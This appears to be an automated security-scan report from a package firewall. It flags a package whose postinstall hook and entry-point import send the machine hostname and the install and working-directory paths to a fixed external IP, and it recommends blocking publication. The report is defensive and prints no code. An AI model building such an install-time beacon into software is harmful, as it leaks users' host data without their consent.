AI Security Review
scanned 2h ago · by lpm-firewall-aiThe source establishes automatic installation-time disclosure of host and project identifying data to a fixed external collector without an affirmative consent gate. This is concrete data exfiltration behavior and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing index.js also calls the beacon.
Impact
The endpoint receives identifying information about the machine and the package's installation and project locations without an affirmative reporting choice.
Mechanism
beacon.cjs builds a payload with the machine hostname and installation and working-directory paths, then sends it in an HTTP POST to a fixed IP address.
Attack narrative
During installation, the postinstall hook runs a beacon that sends the machine hostname and installation and working-directory paths to a fixed external IP address. Importing the package entry point triggers the same request. The source shows no affirmative consent gate for either trigger.
AI rationale
The source establishes automatic installation-time disclosure of host and project identifying data to a fixed external collector without an affirmative consent gate. This is concrete data exfiltration behavior and warrants blocking publication.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
